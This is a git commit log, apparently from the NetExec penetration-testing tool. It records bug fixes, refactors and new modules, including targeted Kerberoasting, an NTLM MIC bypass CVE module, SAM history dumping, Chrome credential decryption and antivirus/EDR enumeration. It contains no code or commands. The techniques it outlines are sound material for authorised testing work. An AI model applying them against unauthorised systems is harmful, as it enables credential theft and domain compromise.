termanix 7b003e1d88 Switched to impacket ldap connection from ldap3(removed) 2026-03-20 13:01:03 +02:00
termanix c8c69f8757 edit to do 2026-03-20 13:01:03 +02:00
Mehmetcan TOPAL 60a571ec0e ruff fix 2026-03-20 13:01:03 +02:00
termanix 871c70b51b Fixed auth bug on ldap 2026-03-20 13:01:03 +02:00
termanix ecf6062314 ruff fixed 2026-03-20 13:01:03 +02:00
termanix 77e916997d Update e2e_commands.txt
Signed-off-by: termanix <[email protected]>
2026-03-20 13:01:03 +02:00
termanix fa1ee4beaf Update e2e_commands.txt
Signed-off-by: termanix <[email protected]>
2026-03-20 13:01:03 +02:00
termanix 03e30c68f7 removed old changes, OU part will To Do 2026-03-20 13:01:03 +02:00
termanix 8eebf0a2ba added a few log info lines
Signed-off-by: termanix <[email protected]>
2026-03-20 13:01:03 +02:00
termanix 4e4a00fb7e add/remove group module 2026-03-20 13:01:03 +02:00
Alex 2204ea8d30 Merge pull request #1054 from 0x0Trace/feature/adcs-collection
feat(ldap): add ADCS collection support via CertiHound integration
2026-03-19 17:57:08 +01:00
Alexander Neff 7c64f922f6 Add e2e tests 2026-03-19 09:16:47 -04:00
Alex 9d65d3c404 Merge pull request #1164 from Pennyw0rth/neff-fix-dependencies
Update impacket
2026-03-19 14:14:49 +01:00
Alexander Neff 9f5ba4f6ba Update impacket 2026-03-19 07:59:26 -04:00
Alexander Neff 62ae17dd09 Add SHOW_DATA options to regex check 2026-03-19 07:56:48 -04:00
Alexander Neff 11fe13e69c Save output file into nxc folder and remove unnecessary parsing 2026-03-19 07:54:29 -04:00
Alexander Neff 02f521e70d Standardize json output 2026-03-19 07:46:48 -04:00
Alexander Neff dc3cd90e53 Optimise code 2026-03-19 07:45:48 -04:00
Alexander Neff a17137f0d9 Replace exception handler with lastError check 2026-03-19 07:39:28 -04:00
Alexander Neff 5f2d34732c Comments and removing unnecessary exception handler 2026-03-19 07:38:31 -04:00
Alexander Neff 1b5cd4dabd Optimise code 2026-03-19 07:32:10 -04:00
Alexander Neff 848b7b0eae Optimise code 2026-03-19 07:04:11 -04:00
Alexander Neff 46bfbcf2d8 Fix module and options 2026-03-19 07:03:38 -04:00
Alexander Neff d2640c9c82 Formatting 2026-03-18 17:18:56 -04:00
Alexander Neff c7b8e5bb2b Sort pii values 2026-03-18 16:49:39 -04:00
Alexander Neff cbc40f75ea Formatting 2026-03-18 16:43:18 -04:00
Alex 36180b3dc1 Merge branch 'main' into add-mssql-dumper-module 2026-03-18 21:41:04 +01:00
Alex 756abe171a Merge pull request #1160 from azoxlpf/fix/pfx-auth
Fix :  handle unresolved kdcHost with clear error, add winrm kdcHost resolution
2026-03-18 19:11:19 +01:00
Alex 6d1df54392 Merge pull request #1162 from 0xaled/NetExec-Enum-AV
enum_av module: add Elastic EDR Version 9.3.0 indicators
2026-03-18 18:27:07 +01:00
P'tit Snake ce30d4392d fix spacing for improved code readability
During the IOC arrangement, 1 line was removed to maintain better visibility; I'm adding it back.

Signed-off-by: P'tit Snake <[email protected]>
2026-03-18 15:53:36 +01:00
P'tit Snake ca62afcdea Update enum_av.py : Reorder products alphabetically and add Elastic EDR indicators
Sorted all endpoint protection products in alphabetical order for
 consistency and easier maintenance. Added Elastic EDR detection

Signed-off-by: P'tit Snake <[email protected]>
2026-03-18 13:51:14 +01:00
termanix d1123258e7 Merge branch 'main' into patch-1 2026-03-18 14:42:17 +03:00
azoxlpf 82dcdd191c ruff fix 2026-03-18 11:54:13 +01:00
P'tit Snake a869a3fe12 Update enum_av.py With Elastic EDR Version 9.3.0 indicator
Elastic EDR: services (Elastic Agent, ElasticEndpoint) and pipes
(ElasticEndpointServiceComms-*, elastic-agent-system). Version 9.3.0

Signed-off-by: P'tit Snake <[email protected]>
2026-03-18 11:53:43 +01:00
azoxlpf 8e5a4fb814 handle kdcHost None gracefully, avoid self.host fallback for non-DC targets 2026-03-18 11:45:51 +01:00
azoxlpf 5a955ddf39 fallback kdcHost to target IP when DNS resolution fails 2026-03-18 11:30:48 +01:00
Alex 170ce533bb Merge pull request #1098 from azoxlpf/feat/add-ldaps-addccomputer
Refactor add-computer : use impacket CRUD
2026-03-18 11:16:44 +01:00
Alexander Neff 6228c18433 Fix exception handling as in #1081 2026-03-18 06:11:26 -04:00
Alexander Neff 05cc920c80 Formatting 2026-03-18 05:52:27 -04:00
Alexander Neff 7724e882a0 Clarify variable name 2026-03-18 05:42:58 -04:00
Alexander Neff 06c0735676 Simplify code 2026-03-18 05:41:34 -04:00
Alexander Neff b7d0463ea4 Formatting 2026-03-18 05:35:44 -04:00
Alexander Neff 25b72e1bd2 Remove unnecessary checks 2026-03-18 05:35:33 -04:00
Alexander Neff 9bff5bbbed Formatting 2026-03-18 05:29:45 -04:00
Alexander Neff c169d28bda Remove LDAPS statements 2026-03-18 05:27:38 -04:00
Alexander Neff 1517597dba Remove unnecessary checks 2026-03-18 05:26:31 -04:00
Alexander Neff 1fdd259a71 Fix options text 2026-03-18 05:19:11 -04:00
azoxlpf 475078d196 ruff fix 2026-03-17 20:51:48 +01:00
azoxlpf 39f3a2836a fix conflicts 2026-03-17 20:50:16 +01:00
Alexander Neff 37194c6568 Fix json formatting 2026-03-17 15:18:30 -04:00
Alexander Neff ea9b661a0e Simplify filtering 2026-03-17 15:00:07 -04:00
Alexander Neff f4967a6837 Formatting 2026-03-17 14:35:11 -04:00
Alexander Neff ab88315f1d Formatting 2026-03-17 13:20:25 -04:00
Alexander Neff fa2679208b Formatting 2026-03-17 12:30:35 -04:00
Alexander Neff aecad76f0b Simplify resolving logic 2026-03-17 12:21:05 -04:00
Alexander Neff a0573a6dd5 Simplify resolving logic 2026-03-17 12:16:33 -04:00
Alexander Neff 7999b77165 Move bh collection method logic out of ldap proto 2026-03-17 12:11:47 -04:00
Alexander Neff 11bb8fb36b Move import 2026-03-17 12:06:03 -04:00
Azox b951b5c34a Merge branch 'main' into feat/add-ldaps-addccomputer
Signed-off-by: Azox <[email protected]>
2026-03-17 17:02:18 +01:00
Alexander Neff ce0494038c Merge branch 'main' into certihound 2026-03-17 11:59:17 -04:00
Alexander Neff 29b4012d7e Fix lock file 2026-03-17 10:06:47 -04:00
Alexander Neff e00d08fb0f Merge branch 'main' into mssql-cbt 2026-03-17 10:06:37 -04:00
Alexander Neff bc1efe1237 Formatting 2026-03-17 10:06:02 -04:00
Alexander Neff b83e345ddc Switch to Pennyw0rth impacket fork for fake cbt value 2026-03-17 09:54:19 -04:00
Alexander Neff d469fc62ff Fix logging 2026-03-17 09:53:14 -04:00
Alexander Neff 1f9f9e3c49 Formatting 2026-03-17 09:46:22 -04:00
Alexander Neff e4cb390fee Formatting 2026-03-17 09:45:17 -04:00
Alexander Neff 08e1b74417 Add missing lm hash var 2026-03-17 09:45:08 -04:00
Alex 1fb8433026 Merge pull request #1156 from 0xaled/NetExec-Avast-AVG-Enum
enum_av module: add AVG / Avast indicator
2026-03-17 10:42:54 +01:00
P'tit Snake a1cadc4d04 Update enum_av.py
enum_av module: add AVG / Avast indicator

Signed-off-by: P'tit Snake <[email protected]>
2026-03-16 15:12:56 +01:00
Alex 1f7cdb1490 Merge pull request #1150 from azoxlpf/feat/add-badsuccessor-check
Add CVE-2025-53779 (BadSuccessor) to the enum_cve module
2026-03-16 12:19:27 +01:00
Azox f42be28998 Merge branch 'main' into feat/add-badsuccessor-check 2026-03-14 18:13:50 +01:00
azoxlpf 65cc6728ca call is_host_dc() for dc_only CVEs and cache result 2026-03-14 18:13:14 +01:00
Alex faea7379df Merge pull request #1155 from Pennyw0rth/neff-fix-relaying
Prevent doing database stuff if we don't have a valid connection
2026-03-14 16:33:25 +01:00
Alex 75b207c688 Merge pull request #1151 from Pennyw0rth/dpapi_chrome_fix
Fix #1139 : Add support for Google Chrome v137+ app bound key decryption (through dploot upgrade)
2026-03-14 16:33:14 +01:00
Alex 2bd69e0aed Merge pull request #1154 from Pennyw0rth/neff-minor-fixes
Few minor fixes
2026-03-14 16:31:11 +01:00
Alexander Neff f94b1399a5 Prevent doing database stuff if we don't have a valid connection 2026-03-14 11:19:01 -04:00
Alexander Neff 6bb2d66239 Wording 2026-03-14 11:13:25 -04:00
Alexander Neff 8a1fa2fb72 If retreiving lsass pid failed this would lead to a crash when trying to split the string 2026-03-14 11:10:12 -04:00
Alexander Neff 429764c592 Log as success and not full highlight 2026-03-14 11:09:26 -04:00
Marshall Hallenbeck 3593ed57ab Merge branch 'main' into fix/ssh-channel-closed-exception 2026-03-14 10:49:38 -04:00
Marshall Hallenbeck 4de7d81e94 fix(ssh): break try catch between linux and windows shell check and catch all exceptions 2026-03-14 10:48:56 -04:00
zblurx f55a234cbe update poetry lock 2026-03-13 18:16:59 +01:00
zblurx 25166e0c8d Add support for dploot 3.2.2 and google chrome +137 decryption 2026-03-13 17:46:06 +01:00
Azox defda582b1 Merge branch 'main' into feat/add-badsuccessor-check 2026-03-13 17:03:04 +01:00
azoxlpf d5ff66b396 add BadSuccessor and dc_only flag 2026-03-13 16:40:10 +01:00
Alex e7fa3fdbbf Merge pull request #1149 from Pennyw0rth/neff-fix-asreproast
Catch KDC_ERR_ETYPE_NOSUPP when asreproasting
2026-03-13 12:16:04 +01:00
Alexander Neff 845f8d9f33 Use connection logger instead of universal logger 2026-03-13 07:03:34 -04:00
Alexander Neff 44a24f0576 Catch KDC_ERR_ETYPE_NOSUPP if there are no etypes left to request 2026-03-13 07:03:04 -04:00
Alex 83dcd2639e Merge pull request #1086 from pol4ir/main
Add SMB module NTLM MIC bypass (CVE‑2025‑54918)
2026-03-13 08:07:08 +01:00
Alex 0347c13f52 Merge pull request #1147 from Pennyw0rth/neff-fix-shares-empty-pw
Add users with empty password to db
2026-03-12 17:09:35 +01:00
polair 2347874213 Merge branch 'main' into main 2026-03-12 15:01:01 +01:00
Alexander Neff c015d2c643 There are users with empty passwords 2026-03-12 09:56:56 -04:00
Alex b037969f54 Merge pull request #1145 from Pennyw0rth/neff-fix-shares-guest
Don't display the index error when guest auth is active
2026-03-12 13:18:46 +01:00
Marshall Hallenbeck 90ef481d94 Merge pull request #1131 from Pennyw0rth/fix/moduleloader-namespace-collision
fix(coerce_plus): move get_dynamic_endpoint back to module-level function
2026-03-12 08:06:40 -04:00
Alexander Neff 087ee8bf5b Don't display the index error when guest auth is active 2026-03-12 07:45:25 -04:00
Alex 32796c6d1e Merge pull request #1142 from gatariee/get-network-patch
fix bug in `get-networks` to use queried zone instead of connection
2026-03-12 11:24:16 +01:00
Alexander Neff 3c4e387045 Remove unused imports 2026-03-12 06:22:00 -04:00
Alexander Neff 82b1336023 Remove deprecated open call 2026-03-12 06:18:04 -04:00
Alexander Neff 92e2b8fc08 Add exploitation source 2026-03-12 05:52:08 -04:00
Alexander Neff ffd615e171 Add exploitation source 2026-03-12 05:17:03 -04:00
Alexander Neff 138f60607d Add UBR to debug output 2026-03-12 05:11:29 -04:00
Alexander Neff 627aeff920 Prevent stacktrace when guest try access winreg 2026-03-12 04:29:46 -04:00
Alexander Neff 1e90eadef1 Fix CVE UBRs 2026-03-12 04:23:57 -04:00
Alexander Neff 9a7a302fd4 Simplify logic 2026-03-12 04:23:36 -04:00
Alexander Neff f61bf5a7d0 Improve messages 2026-03-12 04:02:15 -04:00
Alexander Neff 3dbef634b4 Add CVE dict and logic for enumeration 2026-03-12 03:53:43 -04:00
Alexander Neff 65a7389058 Formatting 2026-03-12 03:53:24 -04:00
Alexander Neff 77b1efe95d Module description and formatting 2026-03-12 03:52:59 -04:00
gatari 3d7ae49854 Update log output to use zone instead of domain
Signed-off-by: gatari <[email protected]>
2026-03-12 15:27:28 +08:00
Alexander Neff ac735513f6 Initial enum_cve module 2026-03-12 03:19:23 -04:00
Alexander Neff d161db28f9 Deprecate ntlm_reflection module 2026-03-12 03:13:10 -04:00
Marshall Hallenbeck 1a59962f2a Merge branch 'main' into fix/moduleloader-namespace-collision 2026-03-11 19:24:27 -04:00
Alex c3b7e4a567 Merge pull request #1141 from Pennyw0rth/neff-fix-nfs4
Fix nfs for nfs4 only servers
2026-03-11 22:31:25 +01:00
Alexander Neff 543a5b3611 Fix nfs for nfs4 only servers 2026-03-11 17:24:07 -04:00
Alex 0e902450b0 Merge pull request #1140 from Pennyw0rth/neff-fix-spider_plus
Fix spider_plus module when hitting symlink
2026-03-11 21:01:30 +01:00
Alexander Neff 78902ee3ee Don't follow symlinks and especially don't reconnect because this doesn't help 2026-03-11 15:53:40 -04:00
Alex 26465b1b20 Merge pull request #1102 from elboulangero/terminaltables3
Switch to terminaltables3
2026-03-11 20:40:24 +01:00
Alexander Neff b3122632f5 Fix lock file 2026-03-11 15:34:58 -04:00
Alex e57ba1ce91 Merge pull request #1113 from mverschu/fix/dpapi-username-case
Fix DPAPI credential lookup: add lowercase username for dploot compatibility
2026-03-11 19:10:26 +01:00
Alexander Neff 3ac03b68d1 Remove duplicate line 2026-03-11 14:05:42 -04:00
enzym3 6ece24e2f4 safe_shares: expand write detection with granular ACL-based checks
Replaces the single GENERIC_WRITE check with a multi-mask approach covering
FILE_ADD_FILE, FILE_ADD_SUBDIRECTORY, WRITE_DAC, and WRITE_OWNER. Plain WRITE
suppresses the more granular labels when redundant. Dynamic column widths added.
2026-03-11 12:49:27 -04:00
Alex e873e8fcab Merge pull request #1135 from Eliotsehr/fix_krb_S4U
Fix authentication from CCACHE when using kerberos S4U over SMB
2026-03-11 13:03:44 +01:00
Alexander Neff d41ff46e14 Remove obsolete parsing for ccache inside ldap 2026-03-11 07:58:45 -04:00
Alexander Neff 011416bd0c Get username from TGT/ST if not supplied 2026-03-11 07:56:05 -04:00
Alex 9a2544b9fb Merge pull request #1133 from lap1nou/db-guest-null
db: do not add credential to db if guest or null auth
2026-03-11 12:47:40 +01:00
Alexander Neff 2b5b92b21f Formatting 2026-03-11 07:31:49 -04:00
Alex 1d24435609 Merge pull request #1124 from PatchRequest/fix/backup_operator_random_suffix
fix(backup_operator): add random suffix to dump filenames
2026-03-11 12:18:25 +01:00
Alexander Neff 1b9c93eb36 Use internal gen_random_string 2026-03-11 07:07:03 -04:00
Alex bac2a95a95 Merge pull request #1096 from azoxlpf/fix/netbios-exception-handling
Fix AttributeError on NetBIOSTimeout in kerberos_login
2026-03-11 11:22:53 +01:00
Alex 0e4a049a92 Merge pull request #1095 from azoxlpf/fix/certipy-auth-kerberos
Fix certipy-find support for NT hash and AES key auth
2026-03-11 11:22:45 +01:00
Alexander Neff bad31bccb5 Improve clarity when login times out 2026-03-11 06:18:12 -04:00
Alex bd1654baa3 Merge pull request #1081 from serwiz/fix/add-computer-exception-catch
Fix incorrect exception handling
2026-03-11 11:08:46 +01:00
Alexander Neff 282fbe1ee1 Align hashes with lm:nt as required in the docstring 2026-03-11 06:07:18 -04:00
Alexander Neff e820d96833 Match entire string and add source for error msgs 2026-03-11 06:00:16 -04:00
e-nzym3 189371aa45 Update safe_shares.py
Signed-off-by: e-nzym3 <[email protected]>
2026-03-09 11:34:58 -04:00
enzym3 d43c1594ef Add safe_shares module: safe SMB share permission enumeration without writing to disk 2026-03-09 10:53:38 -04:00
Marshall Hallenbeck 99ee883ef0 fix(ssh): handle channel closed exception during shell and privilege checks
Catch SSHException in check_shell() and check_linux_priv() so that SSH
servers that close channels mid-command no longer cause unhandled
tracebacks. Instead, the connection is treated as "no shell access".

Closes #264
2026-03-05 08:29:32 -05:00
Eliotsehr 77d2c1c12a Fix authentication from CCACHE when using kerberos S4U over SMB 2026-03-05 13:01:25 +01:00
azoxlpf 87c2ad607c move comment 2026-03-04 12:14:13 +01:00
azoxlpf 2b23da5278 add space 2026-03-04 12:12:15 +01:00
azoxlpf d8cf226eb1 fix accidental comment removal 2026-03-04 12:09:31 +01:00
azoxlpf 44d2416e13 refactor: use --targeted-kerberoast with --kerberoasting 2026-03-04 12:03:00 +01:00
Azox bb7cb1058b Merge branch 'main' into feat/add-targeted-kerberoast 2026-03-04 10:30:28 +01:00
lap1nou 82ff6b63e7 db: do not add credential if guest or null auth 2026-03-03 23:18:54 +01:00
Marshall HallenbeckandClaude Opus 4.6 6409e0d684 fix(moduleloader): isolate module namespaces and cache loaded modules
The module loader used the same module name "NXCModule" for every file
via spec_from_file_location(), causing sys.modules namespace collisions
when multiple modules are loaded together (-M mod1 -M mod2). Each
subsequent module overwrites the NXCModule class in the shared namespace,
so modules loaded earlier resolve a different class than their own.

This is the underlying mechanism behind multi-module ordering bugs
reported in #879, #880, and #882.

Changes:
- Use unique module names (nxc_module_<filename>) and the modern
  module_from_spec() + exec_module() API instead of the deprecated
  load_module() to give each module its own isolated namespace
- Cache loaded modules so each file is only parsed and executed once,
  regardless of how many targets are scanned (~60x faster than
  re-loading per target)
- Extract shared loading logic into load_module_file() classmethod

Co-Authored-By: Claude Opus 4.6 <[email protected]>
2026-03-03 12:28:10 -05:00
Marshall HallenbeckandClaude Opus 4.6 41b3fc2617 fix(coerce_plus): move get_dynamic_endpoint back to module-level function
Commit 81c6d9fb (PR #866) moved get_dynamic_endpoint from a module-level
function to a @staticmethod on NXCModule. This broke coerce_plus when used
with any other -M module that loads after it, because the module loader
uses the same sys.modules key for all modules, causing the NXCModule class
reference to be overwritten by whichever module loads last.

As a module-level function, get_dynamic_endpoint is not resolved through
the NXCModule class name and is unaffected by the collision.

Also makes the [dcerpc] endpoint resolution lazy so it only runs when
that pipe is actually selected, avoiding an unnecessary network call
to port 135 on every target.

Co-Authored-By: Claude Opus 4.6 <[email protected]>
2026-03-03 11:27:05 -05:00
Neoreo fa7706b807 Factorize code 2026-02-28 11:00:46 +01:00
Alex e065856ec2 Merge branch 'main' into fix/backup_operator_random_suffix 2026-02-27 20:38:09 +05:30
Marshall Hallenbeck b77744feb6 Merge pull request #1126 from Pennyw0rth/copilot/add-permissions-block-to-workflow
Add top-level permissions block to pr-template-check workflow
2026-02-27 10:01:57 -05:00
copilot-swe-agent[bot]andMarshall-Hallenbeck 32e87c807e Add top-level permissions block with pull-requests: write to pr-template-check.yml
Co-authored-by: Marshall-Hallenbeck <[email protected]>
2026-02-27 14:38:24 +00:00
copilot-swe-agent[bot] 4208a94ea9 Initial plan 2026-02-27 14:37:48 +00:00
Neoreo d818235795 Enhancement : Compute gMSA aesKeys automatically when using --gmsa 2026-02-27 12:20:37 +01:00
PatchRequest 156eaf637a fix(backup_operator): add random suffix to dump filenames to avoid ERROR_ALREADY_EXISTS 2026-02-27 08:22:00 +01:00
0x0Trace 80d481882c Merge branch 'main' into feature/adcs-collection 2026-02-23 22:00:25 +02:00
Marshall Hallenbeck c7dc286ba6 Merge pull request #1122 from Pennyw0rth/marshall_smb_snipped_vuln_fix
fix(snipped): properly parse and set output file for saved screenshots
2026-02-23 09:48:47 -05:00
Marshall Hallenbeck 4f6685038a fix(snipped): properly parse and set output file for saved screenshots 2026-02-22 20:45:00 -05:00
Marshall Hallenbeck 7345af476b Merge pull request #1109 from Pennyw0rth/add-ai-policy
Add AI policy
2026-02-22 12:14:33 -05:00
Marshall Hallenbeck 8742b61da8 Merge branch 'main' into add-ai-policy 2026-02-22 08:16:51 -05:00
Marshall Hallenbeck 7d027f2774 Merge pull request #1121 from Pennyw0rth/marshall_smb_spider_vuln_fix
Fix for arbitrary file write via smb_spider module
2026-02-21 18:12:14 -05:00
Marshall Hallenbeck 0e0cbe0640 fix(spider_plus): properly clean path traversal parts from output filepath; fixes #1120 2026-02-21 16:58:36 -05:00
Marshall Hallenbeck 7845386783 docs: better wording regarding low quality AI tooling 2026-02-21 16:08:23 -05:00
Marshall Hallenbeck 5a2a73cb3a docs: format link to ghostty's pr better 2026-02-21 16:07:38 -05:00
Alexander Neff a3ac65ae13 Formatting 2026-02-21 18:05:53 +07:00
Alexander Neff dc620ebcaa Typo 2026-02-21 18:05:13 +07:00
Marshall Hallenbeck f363124ed5 Merge pull request #1105 from Pennyw0rth/marshall_pr_template_check
Add issue template config and PR template check workflow
2026-02-19 16:10:33 -05:00
mverschuandCursor f8b44d21b3 Fix DPAPI credential lookup: add lowercase username for dploot compatibility
dploot looks up credentials with user.lower() (e.g. 'administrator'), but we
only stored them under context.username (e.g. 'Administrator'). Python dict
lookups are case-sensitive, so the credential wasn't found and master keys
were never decrypted.

Co-authored-by: Cursor <[email protected]>
2026-02-18 19:59:57 +01:00
Marshall Hallenbeck b7137aec54 removed per PR discussion
Signed-off-by: Marshall Hallenbeck <[email protected]>
2026-02-18 13:50:08 -05:00
Marshall Hallenbeck e9f366ff01 docs: update PR template
Update the pull request template to clarify AI usage and some additional helpful asks

Signed-off-by: Marshall Hallenbeck <[email protected]>
2026-02-18 11:57:44 -05:00
Marshall Hallenbeck 7c7a6254a8 docs(AI Policy): updates the AI policy to reflect NetExec's maintainers thoughts on AI and how the project will respond to AI generated code 2026-02-18 11:21:23 -05:00
Marshall Hallenbeck d11d196dc9 docs: fix ghostty PR reference 2026-02-18 10:51:53 -05:00
Alexander Neff ddc98f1cee Add policy source 2026-02-17 23:39:37 +07:00
Coontzy1 d06d179d14 SAM History Dumping
smb: update proto args

tests: add --sam --history example
2026-02-16 21:44:04 -05:00
Alexander Neff 564dfec4d0 Add AI policy reminder to PR template 2026-02-17 00:01:09 +07:00
Alexander Neff a6763d7e9b Focus on issues and use 'we' instead of 'I' 2026-02-16 23:45:30 +07:00
Alexander Neff 8f54821dd6 Replace 'ghostty' with 'NetExec' 2026-02-16 23:40:31 +07:00
Alexander Neff 2097f37749 Add original ghostty AI policy 2026-02-16 23:39:40 +07:00
0x0Trace 9af3e37d71 PR changes 16_02_26_comments_newline_fixes 2026-02-16 09:48:09 -05:00
0x0Trace 8424b49e80 PR changes 16_02_26 2026-02-16 07:21:22 -05:00
0x0Trace b20a7c1644 PR changes 13_02_26 2026-02-13 01:53:12 -05:00
Alexander Neff 6adb4c4788 Emphasize that required settings to test the PR are included in the setup guide 2026-02-12 15:52:02 +07:00
Alexander Neff d0bbf40f4c Update checklist section 2026-02-12 15:47:54 +07:00
0x0Trace bda56dd968 Merge branch 'main' into feature/adcs-collection 2026-02-11 18:13:57 +02:00
Marshall Hallenbeck 1106f8edaa Add issue template config and PR template check workflow
Disable blank issues and add contact links for the wiki and Discord.
Add a GitHub Actions workflow that comments on PRs missing template sections.
2026-02-10 22:07:20 -05:00
Alex fbcda8b356 Merge pull request #1103 from 0xdf223/nfs_read_bug 2026-02-11 07:51:37 +05:30
oxdf d49307052c Fix NFS get_file and put_file auth using wrong handle during path traversal
get_file() and put_file() called update_auth(mount_fh) in their traversal
loops, always setting credentials based on the root/mount handle (uid=0).
With root_squash, this gets squashed to nobody, causing lookups to fail on
non-world-traversable directories. Changed to update_auth(curr_fh) to match
the correct behavior already used in ls().
2026-02-10 09:38:27 -05:00
Arnaud Rebillout 933b97193e Switch to terminaltables3
From terminaltables3 README:

> [terminaltables3] is a fork of the terminaltables project. Which is
> archived and unmaintained. This library is in a new namespace but should
> otherwise be a drop in replacement. Maintaining goals consist of
> maintaining ecosystem compatibility, type annotations and responding to
> community pull requests.

Debian has removed the old terminaltables projects and only provides
terminaltables3 now (in next release Debian 14 forky, which is currently
Debian testing). Other distros will probably do the same, or have done
it already.
2026-02-10 20:07:32 +07:00
0x0Trace a9efad3187 Merge branch 'main' into feature/adcs-collection 2026-02-09 15:44:27 +02:00
azoxlpf e1a6f1525e show auth credentials in kerberos_login connection error logs 2026-02-09 09:36:20 +01:00
Azox 1f640e7c80 Merge branch 'main' into feat/u2u-support 2026-02-08 23:52:15 +01:00
azoxlpf a7ebd5cf35 restore OSError logging with secret in kerberos_login 2026-02-08 23:23:33 +01:00
azoxlpf e1dfde2a35 fix AttributeError on NetBIOSTimeout in kerberos_login 2026-02-08 23:13:51 +01:00
mpgn 07447a040b Merge pull request #1097 from Pennyw0rth/mpgn-patch-1
Refactor is_host_dc call based on file generation flags
2026-02-08 19:45:04 +01:00
mpgn b7fa2dbea6 Fix comparison from '==' to 'is None' for clarity
Signed-off-by: mpgn <[email protected]>
2026-02-08 10:53:11 +01:00
mpgn fddc0c4c6c Update isdc initialization and checks
Change isdc initialization from False to None and update related checks.

Signed-off-by: mpgn <[email protected]>
2026-02-08 10:51:33 +01:00
mpgn f51459ddbd Refactor is_host_dc calls based on NTLM check
Signed-off-by: mpgn <[email protected]>
2026-02-07 23:32:43 +01:00
serwiz 83be3161ec Did ruff check and all passed now. 2026-02-07 15:12:40 +01:00
serwiz 80d38c1013 Change final display. More readable. 2026-02-07 14:42:18 +01:00
serwiz 84b4831dba Enhanced: can support mutiple SeMachineAccountPrivilege with detailed display 2026-02-07 14:31:50 +01:00
0x0Trace 54ab075420 Merge branch 'main' into feature/adcs-collection 2026-02-07 11:19:30 +02:00
azoxlpf 4db5e3fc01 add raise when no TGT found in ccache with --use-kcache 2026-02-06 22:45:41 +01:00
azoxlpf 28343fe03e refactor : switch from ldap3 to impacket CRUD and add LDAPS 2026-02-06 21:48:35 +01:00
mpgn e2dad24e92 Merge branch 'main' into feat/u2u-support 2026-02-06 20:37:26 +01:00
mpgn 581b9c6bbb Merge pull request #1066 from Mauriceter/rdp-nego
Minor RDP enhancement
2026-02-06 20:21:50 +01:00
mpgn 417db64045 Merge branch 'main' into rdp-nego 2026-02-06 20:13:52 +01:00
mpgn df26b69f6d Refactor is_host_dc call based on file generation flags
Conditionally call is_host_dc based on arguments for generating files.

Signed-off-by: mpgn <[email protected]>
2026-02-06 19:43:18 +01:00
Aurélien CHALOT d4dd0961f5 Remove function 2026-02-06 10:45:08 +01:00
azoxlpf e1860e3da4 ruff fix 2026-02-05 19:10:08 +01:00
azoxlpf 3d9d231225 refactor: use impacket CRUD, remove ldap3 for targetedkerberoast 2026-02-05 19:08:32 +01:00
azoxlpf 7df50ab683 Update to support NT/AES/KCACHE 2026-02-05 17:07:19 +01:00
azoxlpf c0ee685769 Add targeted Kerberoasting by injecting/removing temporary SPNs 2026-02-05 17:03:33 +01:00
azoxlpf bbcd292759 use kdcHost only for dc_ip 2026-02-05 16:41:47 +01:00
Alex e872b83f15 Merge pull request #1094 from Adamkadaban/wmi-exec-character-handling 2026-02-05 18:49:32 +05:30
serwiz df1db9595d Correcting stacktrace error due to invalid sids tab initialisation. 2026-02-04 22:25:20 +01:00
azoxlpf e3b97c6edf fix : support NTLM hash and AES key auth 2026-02-04 19:39:41 +01:00
Adam Hassan 8074d7652a properly handle shell metacharacters in command output for wmi 2026-02-03 10:39:56 -08:00
serwiz d0fced5bef Correcting cross domain check to access the correct GPO PATH and add some debug output 2026-02-01 14:34:25 +01:00
0x0Trace 2129198056 Merge branch 'main' into feature/adcs-collection 2026-01-31 12:03:38 +02:00
Alex 434ed7328b Merge pull request #1090 from Barneee/fix/ldap-attribute-userpassword 2026-01-29 15:28:49 +05:30
Dennis Barnekow eb91b75a59 Fix inconsistent LDAP attribute name in module get-userPassword.py
Align output with queried LDAP attribute (userPassword)


Signed-off-by: Dennis Barnekow <[email protected]>
2026-01-29 10:32:42 +01:00
polair 8e7bc4ecd9 Delete nxc/modules/ntlm_mic_bypass.py
Signed-off-by: polair <[email protected]>
2026-01-28 19:57:46 +01:00
polair f340ab8ff4 Merge: NTLM reflection CVE handling
Signed-off-by: polair <[email protected]>
2026-01-28 19:56:42 +01:00
polair fa3ebc1f3c Update ntlm_mic_bypass.py
Signed-off-by: polair <[email protected]>
2026-01-27 18:47:04 +01:00
polair ec250afa1e Update ntlm_mic_bypass.py
Signed-off-by: polair <[email protected]>
2026-01-27 18:45:58 +01:00
polair aed1cb3e5c Add files via upload
add SMB module NTLM MIC bypass

Signed-off-by: polair <[email protected]>
2026-01-27 18:33:41 +01:00
0x0Trace 12c1745a70 Merge branch 'main' into feature/adcs-collection 2026-01-26 16:07:49 +02:00
0x0TraceandClaude Opus 4.5 25f567a097 feat(ldap): make CertiHound a required dependency
Move CertiHound from optional to default dependencies and remove
conditional import handling since it will always be installed.

Co-Authored-By: Claude Opus 4.5 <[email protected]>
2026-01-26 09:03:48 -05:00
WSE 0e08d74e87 Added SID translation for more understanding 2026-01-24 23:11:25 +01:00
GHWX8660 6bd2de8242 Fix incorrect exception handling 2026-01-24 02:01:22 +01:00
GHWX8660 8f6d2afec1 Added SeMachineAccountPrivilige check to MAQ module. Need to implement SID translation. 2026-01-23 00:38:33 +01:00
azoxlpf 9e3f4a1919 add --u2u flag for S4U2Self+U2U authentication 2026-01-21 17:38:05 +01:00
Mauriceter edd3085846 remove loop over rdp proto in nla check
Signed-off-by: Mauriceter <[email protected]>
2026-01-19 13:09:14 +01:00
Joachim De Bats e77eb4e3fb loop over proto, remove RDP|SSL from proto 2026-01-12 11:44:44 +01:00
Mauriceter 6bf34c8b92 Merge branch 'Pennyw0rth:main' into rdp-nego 2026-01-12 11:28:09 +01:00
Alex 08b43bf089 Merge pull request #1070 from Signum21/main 2026-01-12 10:04:02 +01:00
Alex 8aa9d6f97b Merge pull request #1069 from strikoder/main 2026-01-12 09:50:23 +01:00
Signum21 6c063ce491 Add database fix commands for Windows
Signed-off-by: Signum21 <[email protected]>
2026-01-11 06:11:17 +01:00
Amin 3f59b017b6 Update --ls help text to clarify hidden files are displayed 2026-01-10 19:35:09 +01:00
Amin dec2156ba5 Fix: FTP --ls now displays hidden files 2026-01-10 10:52:48 +01:00
0x0Trace 8c8f4300ae Merge branch 'main' into feature/adcs-collection 2026-01-08 11:51:40 +02:00
Mauriceter 2ec020ada1 protoflags_nla missing for nla_screen()
Signed-off-by: Mauriceter <[email protected]>
2026-01-08 10:38:16 +01:00
Joachim De Bats 596bbe3d27 cleanup 2026-01-08 09:37:20 +01:00
Joachim De Bats 5f05c1d5d0 only nego when cheking nla 2026-01-07 20:51:20 +01:00
Alex b1e9d633b8 Merge pull request #1053 from XiaoliChan/list-snapshot
